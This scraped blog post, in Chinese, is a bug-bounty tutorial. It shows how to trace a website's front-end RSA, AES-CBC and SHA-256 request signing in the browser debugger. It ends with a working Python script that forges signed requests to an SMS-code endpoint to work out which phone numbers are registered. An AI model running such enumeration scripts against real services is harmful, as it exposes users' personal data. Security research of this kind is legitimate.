当前位置: 首页 > news >正文

网站的基本布局白云百度seo公司

网站的基本布局,白云百度seo公司,做网站平台的工作,代做网页制作网站前言 本文并非密码向#xff0c;不会对算法过程/代码逻辑进行具体阐述#xff0c;因为这没有意义#xff0c;实战的时候肯定是具体问题具体分析#xff0c;所以了解个大致流程就行。 在挖洞过程中#xff0c;很容易找到一些登录/忘记密码是手机验证码验证的站#xff0c;… 前言 本文并非密码向不会对算法过程/代码逻辑进行具体阐述因为这没有意义实战的时候肯定是具体问题具体分析所以了解个大致流程就行。 在挖洞过程中很容易找到一些登录/忘记密码是手机验证码验证的站有些站对发送验证码这一环节并未做太多的限制理论上可以借助这个漏洞进行爆破从而得出数据库内所有已注册手机号这也算一种信息泄露。这种洞十分好挖对技术要求不高很适合SRC入门 如果站点在请求的时候存在前端加密大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章整理下思路。 寻源 前几天挖洞的时候就看到个发送验证码的 先跑一百个请求对发包没有做什么限制说明有门 但问题来了请求体是这样的明显进行了前端加密要想爆破还得先找出加密逻辑。 打开F12,发现控制台在输出东西 编辑搜图 再看资源文件chunk文件加上index那直接去找index.js文件即可。 编辑搜图 然后就是要找到具体位置了c0ny1表哥给出了一些好办法详情见快速定位前端加密方法 可惜在这个站上不怎么好使只能慢慢找了。 一般前端加密都是用JSEncrypt库的所以可以试试搜一些jsencrypt相关的方法名如setPublicKey、encrypt等 若压缩过的代码看得太累可以试试用http://jsnice.org/美化下。 不要手撕js会变得不幸。 首先打开F12,点开源代码点个js文件之后再点下左下角的美化按钮 代码就变得好看多了 尝试性的搜了下encrypt位置大概就被我找到了。 这里有很多个函数如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名可以说是再明显不过的提示了。 分析 经过不眠不休的折磨我逐渐理解了一切。 0.DEMO 先了解一下JSEncrypt库十分简单 import JSEncrypt from jsencrypt//加密 var encryptor new JSEncrypt() var pubKey -----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY----- encryptor.setPublicKey(pubKey)//设置公钥 var rsaPassWord encryptor.encrypt(要加密的内容)//解密 var decrypt new JSEncrypt() var priKey   -----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY---- decrypt.setPrivateKey(priKey)//设置秘钥 var uncrypted decrypt.decrypt(要解密的内容)//解密之前拿公钥加密的内容 1.RSA 首先在疑似RSA加密的位置的结尾下个断点 为什么要在结尾大概思路是不去关心这个函数的具体逻辑因为太费劲由结果推过程直接看代码运行结束后那些参数以及返回值以此结合所学知识/经验去推断这个函数的作用。 我们不是来做密码题的我们只是来挖洞的。 然后会发现右边有一大堆参数。 好再看encodeRSA函数已知n为0该函数有用的部分就变成这样了 而s[JSEncrypt]很明显是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是 function() {o new JSEncrypt();o.setPublicKey(a);return o.encrypt(t) } 看其实就是普通的RSA加密 而且RSA公钥也给了就是参数a 然后加密字符串参数t其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。 在F12的控制台中执行一下能够输出相似的结果。 JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5而且还会进行base64编码。 扔到CyberChef先放着待会有用。 加密完了该尝试解密了。解密需要私钥。一般前端加密公钥都会直接放到JS里如果需要解密那私钥也可能放这。 随便看了下公钥和私钥就在下面比较了下这个公钥和之前断点跑出的公钥也对的上。 这样就可以解密了。 2.AES 接下来就是AES同样的下个断点看结果。 能够发现参数e是输入的值参数t的值和之前那个值一模一样,同时也是需要加密的字符串。 而且AES相关参数也给出了 初始向量1234567812345678CBC模式zeropadding填充。 AES的话CyberChef没有padding相关选项运算结果末位有所不同所以用另一个表哥写的工具https://github.com/Leon406/ToolsFx 解码的话也是一样毕竟是对称加密。 3.SHA-256 SHA-2名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写一种密码散列函数算法标准,属于SHA算法之一是SHA-1的后继者。其下又可再分为六个不同的算法标准包括了SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256 这里就是最后的波纹了也是最复杂的地方。 还是一样的思路但由于输入的参数不好猜于是我在同一行加了好多个断点去看参数变化这是一个非常好滴技巧如下图所示每个蓝色三角形就是断点。 在这能发现这段代码的意思就是将e组合起来键值对加等号且再用逗号相连变成字符串n。 之后又将字符串n进行了相关处理去掉逗号空格啊加上括号啊最后输出格式如下 {clientIdP_AIAS_ROS, encodeKeyGqdPQJptPlZctYZtEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHeX7aiQh9Hnb1iR//I3abF4Td641b1SeeYdU3aloc3ScaS8CbVARKiM9g27R8CKk8Dbekb6lMEk, requestDataCy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId1647409240148, secrettest, timestamp20220316014040}好接下来来验证一下 这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9 输出结果对的上说明没错 看着下图的请求体最后总结一下。 1.在网页加载的时候先获取一个长度16的AES KEY然后对这个AES KEY进行RSABase64加密结果为encodeKey 2.将{phone:13888888888,smsCode:}这个格式的字符串根据AES KEY进行AESBase64加密结果为requestData 3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算可以任意更改。 4.将所有参数融合进行SHA256加密来签名。 爆破 分析完毕那么接下来就可以开始爆破了。 接下来有两种做法 1.写Python代码。因为思路以及理清且加密逻辑简单可以直接手搓。 2.写JavaScript代码配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。 在这里我选择1具体代码如下 import hashlib import urllib3 import requests import base64 from Crypto.Cipher import AESurllib3.disable_warnings()# aes的key和初始向量 key PHVDHENXNREOEVON vi 1234567812345678 url headers {Sec-Ch-Ua: \ Not A;Brand\;v\99\, \Chromium\;v\98\, \Google Chrome\;v\98\,Accept: application/json, text/plain, */*, Content-Type: application/json;charsetUTF-8,Sec-Ch-Ua-Mobile: ?0,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36,Token: undefined, Sec-Ch-Ua-Platform: \Windows\,Sec-Fetch-Site: same-origin, Sec-Fetch-Mode: cors, Sec-Fetch-Dest: empty,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.9, Connection: close}def AES_Encrypt(data):global keyglobal vipad lambda s: s (16 - len(s) % 16) * chr(0)data pad(data)# 字符串补位cipher AES.new(key.encode(utf8), AES.MODE_CBC, vi.encode(utf8))encryptedbytes cipher.encrypt(data.encode(utf8))# 加密后得到的是bytes类型的数据encodestrs base64.b64encode(encryptedbytes)# 使用Base64进行编码,返回byte字符串enctext encodestrs.decode(utf8)# 对byte字符串按utf-8进行解码return enctextdef AES_Decrypt(data):global keyglobal vidata data.encode(utf8)encodebytes base64.decodebytes(data)# 将加密数据转换位bytes类型数据cipher AES.new(key.encode(utf8), AES.MODE_CBC, vi.encode(utf8))text_decrypted cipher.decrypt(encodebytes)text_decrypted text_decrypted.rstrip(b\0)# 去补位text_decrypted text_decrypted.decode(utf8)return text_decrypteddef sha256(text):return hashlib.sha256(text.encode()).hexdigest()phone_list [] with open(test-phone.txt, r, encodingutf8) as f:for i in f:phone_list.append(i.strip())for i in phone_list:requestsData AES_Encrypt({phone:%s,smsCode:} % i)encodeKey lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3LFLfNHvbqByeXgj1vmswlrNSQMmRgmwsign_exp {clientId1, encodeKey%s, requestData%s, requestId1, secrettest, timestamp1} % (encodeKey, requestsData)sign sha256(sign_exp)json {clientId: 1,encodeKey: encodeKey,requestData: requestsData, requestId: 1,sign: sign, timestamp: 1}res requests.post(url, headersheaders, jsonjson, verifyFalse)try:result AES_Decrypt(res.text.strip())if 该手机号未查询到用户 in result:print(未注册 i)else:print(查询到了 i)except Exception as e:print(e)print(res.text)exit() 代码中我保持encodeKey不变这样意味着AES KEY不变爆破代码就可以不用写RSA相关了。 因为返回的值长这样也是一个AES加密所以写了个AES_Decrypt函数用于解密返回包。 这种爆破手机号的洞我也尝试去投了两个到CNVD一个归档一个驳回打个信息泄露擦边球着实难以界定。 更多靶场实验练习、网安学习资料请点击这里
http://www.w-s-a.com/news/226751/

相关文章:

  • 企业做网站有用吗网站推广的常用方法有哪些?
  • 景安做网站教程互联网小程序开发
  • 桂林北站离阳朔多远贵州省建设厅住房和城乡建设官网二建考试
  • 浙江省建设厅 网站是多少wordpress淘宝客一键
  • 网站流量少怎么做5个不好的网站
  • 随州网站建设有限公司个人申请注册公司需要多少钱
  • 东莞做商城网站建设wordpress批量下载外链图片
  • 新网站建设运营年计划书仓山区建设局招标网站
  • 网站开发天津网站建设项目组织图
  • 网站开发认证考试石家庄高端网站开发
  • 网站建设第一步怎么弄站酷网页
  • 设备网站模板江西的赣州网站建设
  • 邯郸营销型网站国际招聘人才网
  • hexo wordpress 主题织梦网站优化教程
  • 网站建设方案及上海市建设协会网站
  • 轴承外贸网站怎么做南宁网站排名优化公司哪家好
  • 沈阳企业网站建站郴州优化公司
  • cctv5+手机在线直播观看seo关键词排名优化方法
  • 网站建设公司怎么谈单怎么开通微信小程序商店
  • 深圳做网站案例一个服务器可以备案几个网站
  • 网络营销策划名词解释泉州百度推广排名优化
  • 一键生成网站的软件互联网营销师是干什么
  • 网站后台管理水印怎么做手机优化设置
  • 哪个网站做图文素材多wordpress++优化
  • 建设网站就选用什么样的公司网站类型分类有哪些
  • 找平面设计师网站网站建设须知
  • 建设联结是不是正规网站wordpress 微博同步
  • 瑞安微网站建设广州推广
  • 做旅游宣传网站的流程图中国企业集成网电子商务
  • 开发商城网站开发成交功能网站